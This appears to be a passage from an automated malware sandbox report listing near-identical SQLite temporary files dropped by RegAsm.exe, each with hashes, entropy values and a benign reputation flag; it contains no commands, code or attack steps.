Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1EE7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp267B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3669.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3697.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3978.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B29.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3CA9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp46F9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4B47.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4C6D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp587C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5D7A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5EAA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp67CB.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp6849.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7B39.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7BFD.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp7DF7.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp8341.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp85D3.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9139.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9A96.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9D57.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9E2A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9F7C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9FA5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
